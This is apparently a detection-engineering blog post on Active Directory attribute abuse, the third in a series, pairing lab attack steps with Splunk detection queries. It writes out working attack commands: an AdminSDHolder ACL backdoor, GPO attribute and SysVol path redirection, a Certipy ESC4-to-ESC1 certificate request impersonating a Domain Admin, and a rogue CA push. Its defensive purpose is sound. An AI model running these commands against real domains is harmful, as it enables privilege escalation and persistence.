Skip to Main Content
October 17, 2023

A Hitch-hacker's Guide to DACL-Based Detections (Part 3)

Written by Megan Nilsen and Andrew Schwartz
Purple Team Adversarial Detection & Countermeasures Active Directory Security Review Threat Hunting Research Security Testing & Analysis

This blog series was co-authored by Security Consultant Megan Nilsen and TAC Practice Lead Andrew Schwartz.

1    Introduction

In this third and final installment, we will continue our exploration of object and attribute attacks and their subsequent detections. Just as Part 1 focused on stepping through the flow charts provided in the DACL section of the Hacker Recipes, and Part 2 focused on modifiable attributes using PowerMad, Part 3 will focus on a collection of additional attributes that fall outside of the scope of Parts 1 and 2, but that we’ve identified as having value in building detections for. 

Although this post will make use of a variety of different “attack” tools, it should be noted that the tool is a means for use to execute the attack, but we are more focused on the underlying techniques of modifiable attributes and the detections surrounding them. 

Just as the first two (2) posts established, a couple of reminders:

  • We are operating under the assumption that the adversary already has a foothold within the domain and has acquired the appropriate access they need to make modifications to the objects we will discuss.
  • Post-exploitation is not a focus.
  • Intelligence applied to adversary attribution has not been mapped.
  • A subset of Windows Event logging has been used, and not all the possible telemetry data points within this data set have been analyzed.

2    Logging Setup

As noted in Part 1, for telemetry purposes, we will be relying on setting an “Auditing” system access control list (SACL) on each of these attributes and the following Windows Event IDs:

Configuring a SACL is an additional step that must be taken even if the above listed Windows Events are currently being ingested.

Please refer to Part 1A on how to enable and configure the logging setup of the SACL and how to enable/ingest the above Windows Event IDs.

3    Blog Format

Due to the length of this post and the number of attributes covered, it is important to remember a couple of key formatting guidelines from Part 1 as we step through this post.

  • Each section will contain the following headings:
  • Name of the Attribute (common name (CN) of the attribute)
  • Background
    • Will cover a brief overview of what the attribute (LDAP-Display-Name) is and the relevant links to Microsoft documentation
  • Modifying the Attribute (Attack)
    • Will cover how the “attack” was performed, including relevant setup for modifying the attribute in question, screenshots/commands, and tools used
    • If additional auditing was enabled for building the detection, it will also likely be covered here—or, if additional setup was more complex, it will be broken out into a preceding or subsequent heading.
  • Building the Detections
    • Will cover a variety of detections that will include a range of complexity
    • As was stated in the introduction, not all the possible telemetry data points within this data set have been analyzed. However, we have tried our best to cover the Event IDs that are most accessible and prominent for building out detections.
    • Where necessary, we will provide a flow of logic for detections that involve more complexity or additional information to interpret what is being shown. However, most detections will follow a similar format and will not be explained in further detail.

4    Attributes

4.1      AdminSDHolder

4.1.1      Background

The AdminSDHolder object acts as a container that is populated with default permissions. This container is then used as a template for protected accounts to prevent tampering or unintended/unauthorized changes. Protected users can be defined by domain policy, but also typically include by default users within groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

Attackers who have gained sufficient privileges can use this container to maintain persistence as the access control lists (ACLs) to the AdminSDHolder object are reapplied by default every 60 minutes.

4.1.2     Modifying the Object (Attack)

Add-DomainObjectAcl -TargetIdentity ‘CN=AdminSDHolder,CN=System,DC=BREAKFASTLAND,DC=local’ -PrincipalIdentity dacled.egg -Rights All -verbose 
Image001

Figure 1 - Modifying the Object

4.1.3      Building the Detection

4.1.3.1 Detection with Event IDs 5136 and 4662
index=main ((EventCode=5136 Class=container DN="CN=AdminSDHolder,CN=System,DC=BREAKFASTLAND,DC=LOCAL" LDAP_Display_Name=nTSecurityDescriptor) OR (index=main Account_Name!=*$ Object_Type="%{19195a5b-6da0-11d0-afd3-00c04fd930c9}" Object_Name="%{754fb287-55d2-4d68-b7fc-0332e1746740}"  EventCode=4662 Access_Mask = 0x40000))
| eval Logon_ID=if(EventCode==4662,mvindex(Logon_ID,-1), mvindex(Logon_ID,-1))
| eval user=if(EventCode==4662,mvindex( Account_Name,-1), mvindex( Account_Name,-1))
| eval DACL=if(EventCode==5136,mvindex( Value,-1), mvindex( Value,-1))
| join type=outer Logon_ID
    [ search index=main Account_Name!=*$ Object_Type="%{19195a5b-6da0-11d0-afd3-00c04fd930c9}" Object_Name="%{754fb287-55d2-4d68-b7fc-0332e1746740}"  EventCode=4662 Access_Mask = 0x40000
    | eval Props=Properties
    | eval AccessMask=Access_Mask
    | eval ObjectType=Object_Type
    | eval ObjectName=Object_Name
    |table Account_Name,Logon_ID,Props,AccessMask,ObjectType, ObjectName] 
| table  _time, Logon_ID, Account_Name, Props, AccessMask, ObjectType, ObjectName,  DN, GUID, DACL, Class, Type, LDAP_Display_Name
|stats values by _time, Logon_ID, DACL
Image002 1

Figure 2 - Detection Using Multiple Event IDs (1)

Image003 2

Figure 3 - Detection Using Multiple Event IDs (2) 

4.2      ms-DS-Supported-Encryption-Types

4.2.1     Background

The msDS-SupportedEncryptionTypes attribute defines which ciphers Kerberos is allowed to use for the encryption of Kerberos tickets.

4.2.2     Modifying the Attribute (Attack)

Before we can modify the msDS-SupportedEncryptionTypes attribute, we must first gain an understanding on how the hex and/or decimal values are associated with the encryption types so that we can correctly modify the attribute with our PowerMad cmdlet.

The chart linked here shows the decimal value, hex value, and the supported encryption types that the msDS-SupportedEncryptionTypes attribute can be defined as. For our purposes, we are going to use decimal value 24 (hex value 0x18) to modify the attribute to enable support for encryption types AES 128 and AES 256. This value was chosen arbitrarily.

Image004

Figure 4 - Modifying the Attribute

Image005

Figure 5 - Validating Attribute Modification Change

4.2.3     Building the Detection

4.2.3.1 Detection With Event IDs 5136, 4624, and 4662
index=main ((EventCode=5136 AND LDAP_Display_Name=msDS-SupportedEncryptionTypes)  OR (EventCode=4624 AND Account_Name!="*$" AND Account_Name!="ANONYMOUS LOGON" AND Account_Name!="SYSTEM") OR (EventCode=4662 AND Access_Mask=0x20))
| eval Logon_ID=if(EventCode==4624,mvindex(Logon_ID,-1), mvindex(Logon_ID,-1)) 
| eval Mod_Account=if(EventCode==4624,mvindex(Account_Name,-1), mvindex(Account_Name,-1))  
| eval Mod_Value=if(EventCode==5136,mvindex(Value,-1), mvindex(Value,-1))  
| join type=outer Logon_ID    
        [ search (EventCode=5136) OR (EventCode=4624)     
        | stats count by Logon_ID, Account_Name, Source_Network_Address 
        | table Account_Name,Logon_ID, Source_Network_Address ]  
| join type=outer Logon_ID
    [ search index=main Account_Name!=*$  EventCode=4662 Access_Mask = 0x20
    | eval Props=Properties
    | eval AccessMask=Access_Mask
    | eval ObjectType=Object_Type
    | eval ObjectName=Object_Name
    | rex field=Message "(?<Object_Properties>(?ms)(?<=)Properties:(.*?)(?=Additional\s+))"
    |table Account_Name,Logon_ID,Props,AccessMask,ObjectType, ObjectName, Object_Properties] 
| table _time, Mod_Account, Source_Network_Address , Class, DN, Logon_ID, Type, LDAP_Display_Name, Mod_Value, AccessMask, Props, Object_Properties
| where  len(Class)>0
| stats values by _time, Mod_Value
Image006 1

Figure 6 - Detecting Using Multiple Event IDs (1)

Image007 2

Figure 7 - Detecting Using Multiple Event IDs (2) 

4.3      ms-DS-Reveal-On-Demand-Group

For this section, we will be referencing the blog At the Edge of Tier Zero: The Curious Case of the RODC by Elad Shamir (@elad_shamir). The aforementioned blog post is a great tool to understanding RODCs and the importance of the msds-RevealOnDemandGroup attribute.

However, to summarize for the purpose of this post, the msds-RevealOnDemandGroup attribute stores the objects (i.e., users, computers, groups) that are permitted to have their passwords cached on a read-only domain controller (RODC).

4.3.1     Modifying the Attributes (Attack)

Set-ADObject -Identity ‘CN=BREAKFAST-DC-03,OU=Domain Controllers,DC=BREAKFASTLAND,DC=LOCAL’ -Add @{‘msDS-RevealOnDemandGroup’=@(‘CN=Allowed RDOC Password Replication Group,CN=Users,DC=BREAKFASTLAND,DN=LOCAL’, ‘CN=dacled.egg,CN=Users,DC=BREAKFASTLAND,DC=LOCAL’)} -Server 10.0.2.4
Image008

Figure 8 - Modifying the Attribute

Image009

Figure 9 - Validating Change to the Attribute

4.3.2     Building the Detection

4.3.2.1 Detection Using Event IDs 5136, 4624, and 4662
index=main ((EventCode=5136 AND LDAP_Display_Name=msDS-RevealOnDemandGroup)  OR (EventCode=4624 AND Account_Name!="*$" AND Account_Name!="ANONYMOUS LOGON" AND Account_Name!="SYSTEM") OR (EventCode=4662 AND Access_Mask=0x20 AND {303d9f4a-1dd6-4b38-8fc5-33afe8c988ad}))
| eval Logon_ID=if(EventCode==4624,mvindex(Logon_ID,-1), mvindex(Logon_ID,-1)) 
| eval Mod_Account=if(EventCode==4624,mvindex(Account_Name,-1), mvindex(Account_Name,-1))  
| join type=outer Logon_ID    
        [ search (EventCode=5136) OR (EventCode=4624)     
        | stats count by Logon_ID, Account_Name, Source_Network_Address 
        | table Account_Name,Logon_ID, Source_Network_Address ]  
| join type=outer Logon_ID
    [ search index=main Account_Name!=*$  EventCode=4662 Access_Mask = 0x20
    | eval Props=Properties
    | eval AccessMask=Access_Mask
    | eval ObjectType=Object_Type
    | eval ObjectName=Object_Name
    | rex field=Message "(?<Object_Properties>(?ms)(?<=)Properties:(.*?)(?=Additional\s+))"
    |table Account_Name,Logon_ID,Props,AccessMask,ObjectType, ObjectName, Object_Properties] 
| table _time, Mod_Account, Source_Network_Address , Class, DN, Logon_ID, Type, LDAP_Display_Name, Value, AccessMask, Props, Object_Properties
| where  len(Class)>0
| stats values by _time, Value, Logon_ID
Image010 1

Figure 10 - Detection With Event IDs 5136, 4662, and 4624 (1)

Image011 2

Figure 11 - Detection With Event IDs 5136, 4662, and 4624 (2)

4.4      GPC-Machine-Extension-Names 

4.4.1     Background

The gPCMachineExtensionName attribute maintains a list of globally unique identifiers (GUIDs) for which group policy object (GPO) client-side extensions and Microsoft Management Console (MMC) snap-ins are required by the machine policy settings.

By editing the GUIDS stored in the attribute, an attacker could potentially use GPO to pull down a file from a remotely controlled host and upload it to a domain controller.

4.4.2     Modifying the Attribute (Attack)

For this particular attack sequence, we will be very closely following the attack path as outlined in this TrustedSec blog post.

Firstly, we're going to do some reconnaissance to identify the GPO name that we are going to modify.

Image012

Figure 12 - Performing Reconnaissance

As you can see, the “DisplayName” for the GPO is AttackGPO, but its name, and the value we will need to make our modifications, is “{7ECE4273-CEEB-44BA-B777-C5FE3DBES 257}.”

$objs= Get-ADObject -SearchBase “CN=Policies,CN=System,DC=BREAKFASTLAND,DC=LOCAL” -LDAPFilter “(objectclass=*)” -Credential $creds -Server 10.0.2.4 -Properties displayName,gPCMachineExtensionNames

$dcgpos =$objs | ?{$_.displayName -like “Attack”}

$dcgpos
Image013

Figure 13 - Performing Reconnaissance

With a GPO name and GUID in hand, we can now run our attack.

Note: To conduct this attack properly, replacing the gPCMachineExtensionNames attribute with the string [{GUID}{GUID}] will obviously not work correctly. However, because we are only concerned with detecting changes made to the object, and not necessarily designing a functional attack, this is sufficient to generate the logging data we will need for detection within our SIEM. For running this attack properly, we recommend reading through the references linked for this section (or short-linked above), as it does a fantastic job of walking you through the designated attack sequence. Alternately it is important to note this GPO was created for the purpose of making these modifications, use caution if running the following attack in a production environment.

$dcgomain = $dcgpos | ?{$_.Name -eq “{7ECE4273-CEEB-44BA-B777-C5FE3DBE5257}”}

$gpcme = “[{GUID}{GUID}]” + $dcgpomain.gPCMachineExtensionNames

Set-ADObject -Replace @{gPCMachineExtensionNames=$gpcme} -Server 10.0.2.4 -Credential $creds -Identity $dcgpomain.DistinguishedName

Get-ADObject -Credential $creds -Server 10.0.2.4 -Identity $dcgpomain.DistinguishedName -Properties displayName, gPCMachineExtensionNames
Image014

Figure 14 - Modifying the GPO

And we can confirm through Active Directory Service Interface Editor (ADSI) edit that the change was made to the correct GPO:

Image015

Figure 15 - Validating Changes

4.4.3     Building the Detection

4.4.3.1 Detection with Event IDs 5136 and 4624
index=main ((EventCode=5136 AND LDAP_Display_Name=gPCMachineExtensionNames)  OR (EventCode=4624 AND Account_Name!="*$" AND Account_Name!="ANONYMOUS LOGON" AND Account_Name!="SYSTEM"))  
| eval Logon_ID=if(EventCode==4624,mvindex(Logon_ID,-1), mvindex(Logon_ID,-1))  
| eval Mod_Account=if(EventCode==4624,mvindex(Account_Name,-1), mvindex(Account_Name,-1))   
| join type=outer Logon_ID     
        [ search (EventCode=5136) OR (EventCode=4624)      
        | stats count by Logon_ID, Account_Name, Workstation_Name  
        | table Account_Name,Logon_ID, Workstation_Name ]   
| table _time, EventCode, Mod_Account, Workstation_Name , Class, DN, Logon_ID, Type, LDAP_Display_Name, Value 
| where  len(Class)>0 
Image016 1

Figure 16 - Final Query for gPCMachineExtensionName Modification (1)

Image017 2

Figure 17 - Final Query for gPCMachineExtensionName Modification (2) 

4.5      GPC-File-Sys-Path

4.5.1     Background

gpC-File-Sys-Path is another GPO-based attribute that, like gPCMachineExtensionName, can give access to the “rights cloned to the GPO-specific folder on the filesystem where the associated SYSVOL is located” (An Ace up the Sleeve, pg. 30) when a user is granted write access for a GPO. 

You can see in the below image that the gPCFileSysPath object is linking to the Sysvol location.

Image018

Figure 18 - gPCFileSysPath Before Modification

4.5.2     Modifying the Attribute (Attack)

Using the exact same attack path as we did for the gPCMachineExtension attribute, we can utilize the reconnaissance already done and simply create a new variable with which to store our change. Then, we make and confirm the change with the same PowerShell command, adjusting the command to add our newly created variable.

$gpfsp = \\imposter.LOCAL\SysVol\imposter.LOCAL\Policies\{7ECE4273-CEEB-44BA-B777-C5FE3DBE5257} + $dcgpomain.gPCMachineExtensionNames
 
Set-ADObject -Replace @{gPCFileSysPath=$gpfsp} -Server 10.0.2.4 
-Credential $creds -Identity $dcgpomain.DistinguishedName
 
Get-ADObject -Credential $creds -Server 10.0.2.4 -Identity $dcgpomain. DistinguishedName -Properties displayName, gPCFileSysPath
Image019

Figure 19 - Modifying gPCFileSysPath Attribute

4.5.3     Building the Detection

4.5.3.1 Detection with Event IDs 5136 and 4624
index=main ((EventCode=5136 AND LDAP_Display_Name=gpcFileSysPath)  OR (EventCode=4624 AND Account_Name!="*$" AND Account_Name!="ANONYMOUS LOGON" AND Account_Name!="SYSTEM")) 
| eval Logon_ID=if(EventCode==4624,mvindex(Logon_ID,-1), mvindex(Logon_ID,-1)) 
| eval Mod_Account=if(EventCode==4624,mvindex(Account_Name,-1), mvindex(Account_Name,-1))  
| join type=outer Logon_ID    
        [ search (EventCode=5136) OR (EventCode=4624)     
        | stats count by Logon_ID, Account_Name, Workstation_Name 
        | table Account_Name,Logon_ID,  Workstation_Name ]  
| table _time, EventCode, Mod_Account,  Workstation_Name , Class, DN, Logon_ID, Type, LDAP_Display_Name, Value
| where  len(Class)>0
Image020 1

Figure 20 - Final gPCFileSysPath Detection (1)

Image021 2

Figure 21 - Final gPCFileSysPath Detection (2) 

4.6      NT-Security-Descriptor

4.6.1     Background

The NTSecurityDescriptor attribute stores data about an object, such as ownership and permissions, within a “Security Descriptor String Format.”

4.6.2      Enabling Auditing

For these particular detections, we will need to enable auditing in two (2) places. First, you will need to enable auditing from certsrv, which can be opened via server manager on your Domain Controller.

Image022

Figure 22 – Enabling certsrv Auditing

For object access auditing, we will also need to navigate to our templates within ADSI edit and enable auditing for the certificate template we wish to track events for—in this case, the User template.

Image023

Figure 23 - Enabling Object Auditing

4.6.3     Modifying the Attribute (Attack)

For this attack, we will leverage a certificate template vulnerable to an ESC4 attack using the tool Certipy to find and locate all the certificate templates available on the domain. For more information on certificate template vulnerabilities and exploits, please review the Certipy GitHub.

certipy find -u [email protected] -p <yourpassword> -scheme ldap -dc-ip 10.0.2.4
Image024

Figure 24 - Querying for AD CS Templates

 In this case, we can quickly identify that the User template is vulnerable to ESC4.

Note: Typically, in the wild, we would be looking for the group that has “dangerous permissions” to be Domain Users, Authenticated Users, or Domain Computers. In this case, the only group with the permissions to downgrade the ESC4 vulnerable template is the Domain Admins group—which, for the purpose of executing the attack to modify the attribute, is sufficient.

Image025

Figure 25 - ESC4 Vulnerable Template

We then downgrade the ESC4 template to be vulnerable to ESC1 and save the old template configuration in User.json.

certipy template -username [email protected] -p <yourpassword> -template ‘User’ -scheme ldap -save-old -dc-ip 10.0.2.4
Image026

Figure 26 - Downgrading ESC4 to ESC1

Next, we request a certificate using the ESC1 template. In this case, the requesting user is sous.chef, a non-privileged user, who is requesting the certificate on behalf of a Domain Admin account, head.chef. This is specified using the UPN flag.

certipy req -username [email protected] -p <> -upn head.chef.breakfastland.local -template ‘User’ -ca BREAKFASTLAND-BREAKFAST-DC-01-CA -target BREAKFAST-DC-01.BREAKFASTLAND.LOCAL -dc-ip 10.0.2.4
Image027

Figure 27 - Requesting a Certificate

And now, we restore the certificate, again using Certipy. As you can see in the output, it is modifying the ntSecurityDescriptor field. According to the Rapid7 article that inspired this section, it is the specification of the UPN that triggers the ntSecurityDescriptor field to be updated. 

certipy template -username [email protected] -p <yourpassword> -template -User -configuration User.json -dc-ip 10.0.2.4
Image028

Figure 28 - Restoring the Certificate/Modifying the ntSecurityDescriptor Attribute

4.6.4     Building the Detections

4.6.4.1 Detection Using Event ID 4898
index=main EventCode=4898
| table time, EventCode, host, DomainController, Security_Descriptor, Message
Image029 1

Figure 29 - Detecting ntSecurityDescriptor Change via Event ID 4898 (1)

Image030 2

Figure 30 - Detecting ntSecurityDescriptor Change via Event ID 4898 (2)

4.6.4.2 Detection Using Event IDs 5136, 4662, and 4624
index=main ((EventCode=5136 AND LDAP_Display_Name=ntSecurityDescriptor)  OR (EventCode=4624 AND Account_Name!="*$" AND Account_Name!="ANONYMOUS LOGON" AND Account_Name!="SYSTEM") OR (EventCode=4662 AND Access_Mask=0x20))
| eval Logon_ID=if(EventCode==4624,mvindex(Logon_ID,-1), mvindex(Logon_ID,-1)) 
| eval Mod_Account=if(EventCode==4624,mvindex(Account_Name,-1), mvindex(Account_Name,-1))  
| join type=outer Logon_ID    
        [ search (EventCode=5136) OR (EventCode=4624)     
        | stats count by Logon_ID, Account_Name, Source_Network_Address 
        | table Account_Name,Logon_ID, Source_Network_Address ]  
| join type=outer Logon_ID
    [ search index=main Account_Name!=*$  EventCode=4662 Access_Mask = 0x20
    | eval Props=Properties
    | eval AccessMask=Access_Mask
    | eval ObjectType=Object_Type
    | eval ObjectName=Object_Name
    | rex field=Message "(?<Object_Properties>(?ms)(?<=)Properties:(.*?)(?=Additional\s+))"
    |table Account_Name,Logon_ID,Props,AccessMask,ObjectType, ObjectName, Object_Properties] 
| table time, ModAccount, Source_Network_Address , Class, DN, Logon_ID, Type, LDAP_Display_Name, Value, AccessMask, Props, Object_Properties
| where  len(Class)>0
| stats values by time, Value, LogonID
Image031 1

Figure 31 - Detecting With Event IDs 5136, 4624, and 4662 (1)

Image032 2

Figure 32 - Detecting With Event IDs 5136, 4624, and 4662 (2)

4.6.4.3 Detection Using Event IDs 5136, 4662, and 4624 - PKI

In this case, there are additional attribute modification changes that are initiated when running this attack. To account for them, you can also build a detection that adds the additional public key infrastructure (PKI) attributes to the detection.

index=main ((EventCode=5136 AND (LDAP_Display_Name="*pki*" OR LDAP_Display_Name=ntSecurityDescriptor))  OR (EventCode=4624 AND Account_Name!="*$" AND Account_Name!="ANONYMOUS LOGON" AND Account_Name!="SYSTEM") OR (EventCode=4662 AND Access_Mask=0x20))
| eval Logon_ID=if(EventCode==4624,mvindex(Logon_ID,-1), mvindex(Logon_ID,-1)) 
| eval Mod_Account=if(EventCode==4624,mvindex(Account_Name,-1), mvindex(Account_Name,-1))  
| join type=outer Logon_ID    
        [ search (EventCode=5136) OR (EventCode=4624)     
        | stats count by Logon_ID, Account_Name, Source_Network_Address 
        | table Account_Name,Logon_ID, Source_Network_Address ]  
| join type=outer Logon_ID
    [ search index=main Account_Name!=*$  EventCode=4662 Access_Mask = 0x20
    | eval Props=Properties
    | eval AccessMask=Access_Mask
    | eval ObjectType=Object_Type
    | eval ObjectName=Object_Name
    | rex field=Message "(?<Object_Properties>(?ms)(?<=)Properties:(.*?)(?=Additional\s+))"
    |table Account_Name,Logon_ID,Props,AccessMask,ObjectType, ObjectName, Object_Properties] 
| table time, ModAccount, Source_Network_Address , Class, DN, Logon_ID, Type, LDAP_Display_Name, Value, AccessMask, Props, Object_Properties
| where  len(Class)>0
| stats values by time, LDAPDisplay_Name, Value, Logon_ID
Image033 1

Figure 33 - Additional Object Change Detections (PKI Objects) (1)

Image034 2

Figure 34  - Additional Object Change Detections (PKI Objects) (2)

4.7      CA-Certificate

4.7.1     Background

The cACertificate attribute stores certificates that have been saved from trusted Certification Authorities (CAs).

4.7.2     Enabling Auditing/Misconfiguring the Domain

For the following attack, we will be following the blog write-up done by decoder (@decoder_it).

Note: We will not be following the full attack sequence, as the modification to the attribute is done within the first few steps of the post. To simulate the full attack patch, please follow the full walkthrough here.

In preparation for staging our attack, we will first need to give a standard user “GenericAll” privileges to the NTAuthCertificates object. This can be done through ADSI edit or through PowerShell.

In this case, we are using imposter.oatmeal as our misconfigured account.

Image035

Figure 35 - Misconfiguring the Object

Next, we will need to build the SACL entry for the NTAuthCertificates object so that we will receive the logging data within Splunk.

Image036

Figure 36 - Enabling the SACL

Once this is complete, we can initiate our attack to change the attribute.

4.7.3     Modifying the Attribute (Attack)

To start, we will first create a fake, self-signed CA.

Image037

Figure 37 - CA Creation (1)

As stated in the blog from decoder, you can leave all fields blank, with the exception of “Common Name.”

Image038

Figure 38 -CA Creation (2)

Once the fake CA is created, we can now move the fake.crt file created onto a domain joined Windows host and use the native binary certutil to update the cACertificate attribute with the additional public key value.

It is important to note here that we are logged into the Windows host as the account imposter.oatmeal, which is the account we “misconfigured” to have special permissions over the object that we are modifying.

Image039

Figure 39 - Pushing the Fake CA to the Domain

And now, if we take a look at our cACertificate attribute, we can see that it has been modified with the value of the fake certificate.

Image040

Figure 40 - Attribute Post Modification

4.7.4     Building the Detections

4.7.4.1 Detection with Event IDs 5136, 4662, and 4624
index=main ((EventCode=5136 AND LDAP_Display_Name=cACertificate)  OR (EventCode=4624 AND Account_Name!="*$" AND Account_Name!="ANONYMOUS LOGON" AND Account_Name!="SYSTEM") OR (EventCode=4662 AND Access_Mask=0x20))
| eval Logon_ID=if(EventCode==4624,mvindex(Logon_ID,-1), mvindex(Logon_ID,-1)) 
| eval Mod_Account=if(EventCode==4624,mvindex(Account_Name,-1), mvindex(Account_Name,-1))  
| eval Changed_Value=if(EventCode==5136,mvindex(Value,-1), mvindex(Value,-1))  
| join type=outer Logon_ID    
        [ search (EventCode=5136) OR (EventCode=4624)     
        | stats count by Logon_ID, Account_Name, Source_Network_Address 
        | table Account_Name,Logon_ID, Source_Network_Address ]  
| join type=outer Logon_ID
    [ search index=main Account_Name!=*$  EventCode=4662 Access_Mask = 0x20
    | eval Props=Properties
    | eval AccessMask=Access_Mask
    | eval ObjectType=Object_Type
    | eval ObjectName=Object_Name
    | rex field=Message "(?<Object_Properties>(?ms)(?<=)Properties:(.*?)(?=Additional\s+))"
    |table Account_Name,Logon_ID,Props,AccessMask,ObjectType, ObjectName, Object_Properties] 
| table _time, Mod_Account, Source_Network_Address , Class, DN, Logon_ID, Type, LDAP_Display_Name, Changed_Value, AccessMask, Props, Object_Properties
| where  len(Class)>0
| stats values by _time, Changed_Value
Image041 1

Figure 41 - Detection with Event IDs 5136, 4662, and 4624 (1)

Image042 2

Figure 42 - Detection with Event IDs 5136, 4662, and 4624 (2)

4.8      Primary-Group-ID

4.8.1     Background

The primaryGroupID contains the identifier for the primary group (RID) that the user or computer object belongs to.

4.8.2     Modifying the Attribute (Attack)

The primaryGroupID attribute is easy to modify through the ADUC GUI.

  • First navigate to ADUC
  • Open the properties window of the computer/user object you are modifying
  • Navigate to the “Member Of” Tab
  • Click “Add”
    • Select the Group Name of the Group you would like to make the Primary group.
    • Click ok, then apply.
  • Select the newly added group in the “Member of” box
    • Click the button below the box that says “Set Primary Group”
    • Hit Apply 
Image043

Figure 43 - Changing primaryGroupID of COFFEEPOT-PC

4.8.3     Building the Detections

For the following detections we rely on Event ID 4738 and 4742 for user and computer objects respectively. Be sure to configure your SACL on the object you are trying to audit to ensure that logs will be generated and sent to your SIEM.

4.8.3.1 Detection Using Event ID 4738 and Event ID 4624
index=main AND (EventCode=4738 AND Primary_Group_ID!="-") OR EventCode=4624
| eval logon_id=if(EventCode=4624,mvindex(Logon_ID,1),mvindex(Logon_ID,0))
| eventstats values(EventCode) values(Source_Network_Address) by logon_id
| rename values(*) as *
| eval account_name=mvindex(Account_Name,1)
| sort _time
| where isnotnull(Primary_Group_ID)
| table _time, account_name, logon_id, Source_Network_Address, Primary_Group_ID
| stats values by logon_id, account_name
Image044

Figure 44 - Detection with Event ID 4738 and 4624

4.8.3.2 Detection Using Event ID 4742 and Event ID 4624
index=main AND (EventCode=4742 AND Primary_Group_ID!="-") OR EventCode=4624
| eval logon_id=if(EventCode=4624,mvindex(Logon_ID,1),mvindex(Logon_ID,0))
| eventstats values(EventCode) values(Source_Network_Address) by logon_id
| rename values(*) as *
| eval account_name=mvindex(Account_Name,1)
| sort _time
| where isnotnull(Primary_Group_ID)
| table _time, account_name, logon_id, Source_Network_Address, Primary_Group_ID
| stats values by logon_id, account_name
Image045

Figure 45 - Detection with Event ID 4742 and 4624

4.8.3.3 primaryGroupID Detections with RID Filtering

It’s important to note that the previous queries are only filtering for Primary Group ID’s that are not equal to “-“ (null). However, for organizations that may experience high volumes of events for these EventIDs, you may wish to adjust your filtering to look for or to exclude certain RID groups. 

For example, you could modify the below detection as follows so that only user accounts that have their primaryGroupID changed to 512 (Domain Admins) picked up by the query:

index=main AND (EventCode=4738 AND Primary_Group_ID="512") OR EventCode=4624
| eval logon_id=if(EventCode=4624,mvindex(Logon_ID,1),mvindex(Logon_ID,0))
| eventstats values(EventCode) values(Source_Network_Address) by logon_id
| rename values(*) as *
| eval account_name=mvindex(Account_Name,1)
| sort _time
| where isnotnull(Primary_Group_ID)
| table _time, account_name, logon_id, Source_Network_Address, Primary_Group_ID
| stats values by logon_id, account_name

5    Conclusion

Our hope is that from this series of blog posts, professionals and organizations not only gain more awareness as to just how vast the Active Directory (AD) attack surface is, but also how to detect against common attacks that are abused by penetration testers, red teamers, and threat actors alike.

From a security perspective, it is also our hope that a key takeaway from these posts is the importance of frequently auditing the permissions to read or write to these attributes. Tools like Bloodhound, PingCastle, and PurpleKnight can help identify and verify many of these easily remediated issues.

Another key point to remember when trying to implement the detections provided in these three (3) blog posts within your own SIEM environment is that all detections were built in a lab environment. A real-world production environment will require additional tuning to remove false positives.

While a best practice and preference maybe to audit all attributes, we recognize, understand, and operate within the constraints of SIEM licensing costs. We wanted to highlight and prioritize some of the more significant attacks/abuses and thus have not covered every single attribute. We recognize we did not use “intelligence” to drive the prioritization of where the attributes fell in which posts. Rather, we started with some of the more “common” attributes (beginning with the DACL abuse chart from the Hacker Recipes) that red teamers and penetration testers may abuse, and ending with the least-common or “forgotten” attributes.

As detections may not have been built for all possible attack/abuses, the detection templates within these posts can be leveraged to further build upon the use-cases outlined as new attacks/techniques are published, or to cover objects that we did not discuss.

 And finally, another big thank you to all those who assisted with peering, reviewing, and providing suggestions to make this blog series as good as it could be:

Charlie Bromberg (@_nwodtuhs)

Jonathan Johnson (@jsecurity101)

Jim Sykora (@jimsycurity)

Kevin Clark (@GuhnooPlusLinux)

6    References:

https://www.thehacker.recipes/ad/movement/dacl

https://stackoverflow.com/questions/73107061/convert-datetime-in-a-command

https://www.youtube.com/watch?v=ExO535CITXs

https://specterops.io/wp-content/uploads/sites/3/2022/06/an_ace_up_the_sleeve.pdf

Windows Events:

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5145

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4742

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738

AdminSDHolder:

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/persistence/adminsdholder

msDS-SupportedEncryptionTypes:

https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-supportedencryptiontypes

https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/decrypting-the-selection-of-supported-kerberos-encryption-types/ba-p/1628797

msds-RevealOnDemandGroup:

https://eladshamir.com/2023/01/25/RODCs.html

gPCMachineExtensionNames:

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpod/896f59a5-5b72-4fb5-b1d4-8d007fdd6cb3

https://www.trustedsec.com/blog/weaponizing-group-policy-objects-access/

https://community.spiceworks.com/topic/345202-tips-and-tricks-for-total-control-the-inner-workings-of-group-policy

https://labs.withsecure.com/tools/sharpgpoabuse

https://sdmsoftware.com/security-related/sending-gpos-down-the-wrong-track-redirecting-the-gpt/

gPC-File-Sys-Path:

https://specterops.io/wp-content/uploads/sites/3/2022/06/an_ace_up_the_sleeve.pdf

https://learn.microsoft.com/en-us/windows/win32/adschema/a-gpcfilesyspath

NTSecurityDescriptor:

https://learn.microsoft.com/en-us/windows/win32/adschema/a-ntsecuritydescriptor

https://github.com/ly4k/Certipy

https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format?redirectedfrom=MSDN

https://www.rapid7.com/blog/post/2023/06/02/metasploit-weekly-wrap-up-12/ 

cACertificate:

https://decoder.cloud/2023/09/05/from-ntauthcertificates-to-silver-certificate/

https://learn.microsoft.com/en-us/windows/win32/adschema/a-cacertificate

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/f1004c63-8508-43b5-9b0b-ee7880183745

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil

primaryGroupID:

https://learn.microsoft.com/en-us/windows/win32/adschema/a-primarygroupid

https://www.qomplx.com/blog/primary-group-id-attacks/

https://dovestones.com/changing-primary-group-primarygroupid/

https://www.semperis.com/blog/how-attackers-can-use-primary-group-membership-for-defense-evasion/